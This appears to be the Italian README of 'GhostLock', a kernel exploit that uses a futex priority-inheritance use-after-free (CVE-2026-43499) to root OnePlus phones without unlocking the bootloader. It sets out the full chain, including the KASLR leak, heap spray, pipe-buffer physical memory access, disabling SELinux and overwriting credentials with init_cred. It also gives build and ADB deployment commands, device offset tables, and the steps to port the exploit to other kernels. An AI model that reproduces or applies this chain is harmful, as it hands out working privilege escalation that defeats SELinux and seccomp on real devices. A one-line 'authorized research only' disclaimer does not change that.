
(CVE-2026-43499) Exploit del kernel per dispositivi OnePlus con bootloader non sbloccato.
Exploit del kernel destinato a dispositivi OnePlus con bootloader bloccato. Utilizza CVE-2026-43499 per ottenere accesso root senza sbloccare il bootloader né modificare boot.img.
Solo per ricerca di sicurezza autorizzata e scopi educativi.
| Elemento | Dettaglio |
|---|---|
| CVE | CVE-2026-43499 |
| Tipo | Use-After-Free in Futex PI (Priority Inheritance) |
| Ambito | Kernel Linux 2.6.39 ~ 7.1 |
| Corretto in | Mainline 7.1 (commit 3bfdc63936dd) |
| Stato Android | GKI 6.12.x ancora vulnerabile |
La chiamata di sistema pselect6 copia fd_set nello stack del kernel. Quando combinata con il meccanismo del waiter futex PI, un frame di stack liberato può essere riallocato come struttura rt_mutex_waiter. Durante la traversata della catena PI, il ribilanciamento dell'albero rb scrive dati controllati in indirizzi arbitrari del kernel.
futex PI UAF (CVE-2026-43499)
├─ Forgiare oggetto rt_mutex_waiter
├─ Controllare lo stack del kernel tramite il layout fd_set di pselect/select
├─ Attivare l'operazione rt_mutex PI per scrittura arbitraria
├─ Scrittura 1: selinux_state.enforcing = 0
└─ Scrittura 2: cred → init_cred (uid=0, capacità complete)
Altri dispositivi OnePlus sulla stessa famiglia SoC, Android 16 o kernel 6.12.x possono essere adattati tramite l'estrazione degli offset da boot.img.
GhostLock gestisce l'elevazione dei privilegi. L'installazione di KernelSU richiede ksud (in bundle con kernelsu.ko specifico per KMI):
| Fonte | Note |
|---|---|
| APK ReSukiSU (consigliato) | Installare ReSukiSU; l'APK contiene |
Senza ksud, l'exploit ottiene comunque una shell root con uid=0, ma KernelSU non verrà installato e
sunon persisterà.
ANDROID_NDK_HOME o ANDROID_NDK_ROOT# Predefinito (API 35)
make
# Specificare il livello API
make API=34
# Specificare il percorso NDK
NDK=/path/to/android-ndk make
ghostlock — eseguibile ELF ARM64 collegato staticamente.
# 1. Abilitare la modalità ADB TCP
adb tcpip 5555
# 2. Inviare la chiave ADB (richiesta per la modalità bootstrap)
adb push ~/.android/adbkey /data/local/tmp/a/adbkey
# 3. Inviare l'exploit
adb push ghostlock /data/local/tmp/a/e
adb shell chmod 755 /data/local/tmp/a/e
Dopo il primo successo,
resetpropimposta automaticamentepersist.adb.tcp.port=5555, consentendo esecuzioni completamente automatiche nei riavvii successivi.
/data/local/tmp/a/e
/data/local/tmp/a/e --bootstrap
setprop abilitare ADB TCP 5555127.0.0.1:5555/data/local/tmp/a/e --write1
Offset memorizzati nella tabella di ricerca src/devices/offsets.h, indicizzati da uname -r. Il programma li abbina automaticamente all'avvio; kernel sconosciuti vengono rifiutati.
static const struct kernel_offsets known_offsets[] = {
OFFSETS_ENTRY("6.12.38-android16-5-...-ab14275539-4k", ...),
OFFSETS_ENTRY("6.12.38-android16-5-...-ab14552068-4k", ...),
OFFSETS_ENTRY("6.12.23-android16-5-...-ab14541642-4k", ...),
{ .uname_r = NULL } /* sentinella */
};
Quando i puntatori del kernel sono limitati (kptr_restrict), si ottiene l'indirizzo base tramite boot_id sovrascritto con un indirizzo del kernel:
Leggi /proc/sys/kernel/random/boot_id
└─ L'UUID contiene l'indirizzo di nfulnl_logger
└─ Spostamento KASLR = indirizzo_leakato - image_offset
└─ kaslr_base
Quando il dispositivo ashmem è accessibile, si utilizzano le primitive di lettura/scrittura di configfs per leggere i puntatori a funzione dalla tabella fops di ashmem e calcolare l'offset KASLR.
Forgiare oggetti del kernel su pagine order-3 (32KB):
file_operations — dirottare il puntatore fops del miscdevice ashmemrt_mutex_waiter — simulare un nodo waiter nella catena PItask_struct — riferimento al task durante la traversata PIrt_mutex (lock) — informazioni corrette su waiter/ownerImplementato tramite SKB (socket buffer) + KernelSnitch:
mm_structsendmsg per riempire l'heap del kernelDopo aver ottenuto la base KASLR, si utilizzano i buffer pipe per l'accesso alla memoria a livello fisico:
1. Individuare il buffer pipe nella physmap
2. Forgiare la tabella delle operazioni pipe_buffer che punta a known_pipe_buf_ops
3. Dirottare pipe_buffer.page verso l'indirizzo fisico target
4. Lettura/scrittura fisica arbitraria tramite normali operazioni pipe
Supportate: pipe_read64, pipe_write64, pipe_phys_read_data, pipe_phys_write_data
Target: selinux_state.enforcing (offset 0x00)
Metodo: scrittura PI del nodo figlio → forgiare __rb_parent_color del waiter
che punta a selinux_enforcing - 8
il ribilanciamento dell'albero rb scrive 0x00
Target: puntatore cred del processo figlio
Metodo: 1. fork del figlio → perf_find_task() localizza task_struct
2. calcolare l'offset del campo cred
3. scrittura PI del nodo figlio → cred = init_cred (uid=0, caps complete)
4. cancellare seccomp (TIF_SECCOMP + struttura seccomp azzerata)
Dopo la sovrascrittura di cred viene eseguita una verifica di lettura delle capacità.
src/core/miniadb.c — client leggero del protocollo ADB per la modalità bootstrap:
1. TCP connect 127.0.0.1:5555
2. A_CNXN → richiesta di connessione
3. A_AUTH → sfida token RSA
4. dlopen("libcrypto.so") → PEM_read_bio_RSAPrivateKey → RSA_sign
5. A_AUTH (AUTH_SIGNATURE) → risposta firmata
6. A_CNXN → connessione stabilita
7. A_OPEN "shell:/data/local/tmp/a/e" → exploit completo
Supporta algoritmi di firma SHA-1 e SHA-256.
ghostlock-oneplus/
├── Makefile # Configurazione di compilazione (cross-compilazione NDK)
├── README.md # Documentazione
├── src/
│ ├── core/ # Codice principale dell'exploit
│ │ ├── main.c # Punto di ingresso: scrittura in due fasi + shell root
│ │ ├── fops.c # Modalità FOPS/CFI: percorso pselect, scrittura PI, leak KASLR
│ │ ├── util.c # Utility: heap spray, KASLR, primitive R/W del kernel
│ │ ├── slide.c # Modalità SLIDE: leak KASLR da boot_id + percorso pselect
│ │ ├── pipe.c # Lettura/scrittura fisica della memoria tramite buffer pipe (physrw)
│ │ ├── root.c # Sovrascrittura cred, cancellazione seccomp, gestione figlio root
│ │ ├── miniadb.c # Client ADB integrato (TCP + autenticazione RSA)
│ │ ├── common.h # Macro globali, strutture, dichiarazioni, costanti
│ │ ├── target.h # Layout di memoria target / offset delle strutture / parametri KASLR
│ │ ├── offset.h # Ponte di configurazione target in fase di compilazione (#include TARGET_CONFIG_H)
│ │ └── kernelsnitch/ # KernelSnitch — leak dell'indirizzo mm_struct
│ │ ├── kernelsnitch.h # Algoritmo principale: collisione hash futex + forza bruta
│ │ ├── futex_hash.h # Funzione hash di futex
│ │ ├── timeutils.h # Misurazione timestamp CPU (RDTSC)
│ │ └── utils.h # Macro helper (pr_info / SYSCHK / ASSERT ecc.)
│ └── devices/ # Tabelle degli offset per dispositivo
│ ├── offsets.h # Aggrega tutti gli offset dei dispositivi (tabella di ricerca + sentinella)
│ ├── ace6t/offsets.h # Offset per OnePlus Ace 6T (2 versioni del kernel)
│ └── op15/offsets.h # Offset per OnePlus 15 (1 versione del kernel)
└── tools/ # Toolkit per estrazione offset
├── extract_target.py # Estrae gli offset dei simboli globali da kallsyms (28 elementi)
└── extract_btf.py # Estrae gli offset dei campi delle strutture BTF (57 elementi)
È necessario solo il boot.img del dispositivo target — non è richiesto root né accesso al dispositivo.
# 1. Estrarre il kernel da boot.img
python -c "import struct; d=open('boot.img','rb').read(); \
open('kernel','wb').write(d[4096:4096+struct.unpack_from('<I',d,8)[0]])"
# 2. Ottenere kallsyms (root: adb shell su -c 'cat /proc/kallsyms' > kallsyms.txt)
# Oppure da vmlinux: nm vmlinux > kallsyms.txt
# 3. Estrarre gli offset dei simboli globali
python tools/extract_target.py # 28 offset, verifica automatica
# 4. Estrarre gli offset dei campi delle strutture
python tools/extract_btf.py kernel # 57 offset, verifica automatica
src/devices/<nome>/offsets.h (vedere ace6t/offsets.h)#include in src/devices/offsets.hKIMAGE_TEXT_BASE e il layout di memoria in src/core/target.h se necessarioAssicurati di eseguire in una shell ADB. Il contesto App richiede --bootstrap.
La tua versione del kernel non è ancora supportata. Segui Aggiungere nuovi dispositivi per estrarre gli offset e ricompilare.
CORE)PSELECT_ENTER_DELAY_USECperf_event_open (usa --bootstrap in contesto App)kaslr_base valido)ksud esista e sia eseguibileload_policy)Solo per ricerca di sicurezza autorizzata e scopi educativi.
| Dispositivo | Nome in codice | SoC | Kernel | Firmware | Stato |
|---|
| OnePlus Ace 6T | PLR110 | SM8845 (Snapdragon 8s Elite) | 6.12.38-android16-5-...-ab14275539-4k | ColorOS 16.0.2.403 | ✅ Verificato |
| OnePlus Ace 6T | PLR110 | SM8845 (Snapdragon 8s Elite) | 6.12.38-android16-5-...-ab14552068-4k | ColorOS 16.0.8.301 | ✅ Verificato |
| OnePlus 15 | PLK110 | SM8845 (Snapdragon 8s Elite) | 6.12.23-android16-5-...-ab14541642-4k | — | ✅ Verificato |
libksud.so| Rilascio CI | Scaricare da ReSukiSU CI (ksud-aarch64-linux-android.zip) |
| Tipo | Conteggio | Estrazione |
|---|
| Simboli globali kallsyms | 28 | tools/extract_target.py |
| Campi di strutture BTF | 57 | tools/extract_btf.py |
| Valori derivati | 9 | Calcolati automaticamente |
| Costanti fisse | 12 | Hardcoded |
| Struttura | Campi | Scopo |
|---|
task_struct | 17 | Descrittore di processo, cred, seccomp |
rt_mutex_waiter | 6 | Obiettivo di forgiatura UAF |
cred | 4 | Credenziali, capacità |
seccomp | 3 | Stato del filtro seccomp |
pipe_inode_info | 11 | Operazioni su buffer pipe |
file_operations | 13 | Tabella fops falsa |
mm_struct | 1 | Proprietario del descrittore di memoria |
| Modulo | File | Responsabilità |
|---|
| Entry | main.c | Analisi CLI, dispatch W1/W2, flusso bootstrap |
| Percorso PI | fops.c / slide.c | Layout stack pselect/select, manipolazione catena futex PI |
| KASLR | util.c / fops.c / slide.c | Bypass a doppia modalità: leak boot_id + leak tabella fops |
| Heap Spray | util.c | Allocazione pagine order-3, SKB spray, layout oggetti forgiati |
| Lettura/Scrittura fisica | pipe.c | Dirottamento buffer pipe, accesso arbitrario alla memoria fisica |
| Elevazione privilegi | root.c | Sovrascrittura cred, verifica capacità, cancellazione seccomp |
| ADB | miniadb.c | Client leggero del protocollo ADB, autenticazione RSA |
| Motore di leak | kernelsnitch/ | Collisione hash futex per localizzare mm_struct |
| Elemento | Note |
|---|
VA_BITS | 48 vs 39 → aggiornare il layout di memoria in target.h |
| Temporizzazione | Modificare i parametri PSELECT_* in common.h |
| Ashmem | Implementazione C vs Rust → aggiornare la corrispondenza dei simboli in extract_target.py |
| Secureguard | I dispositivi non OnePlus possono semplificare la distribuzione |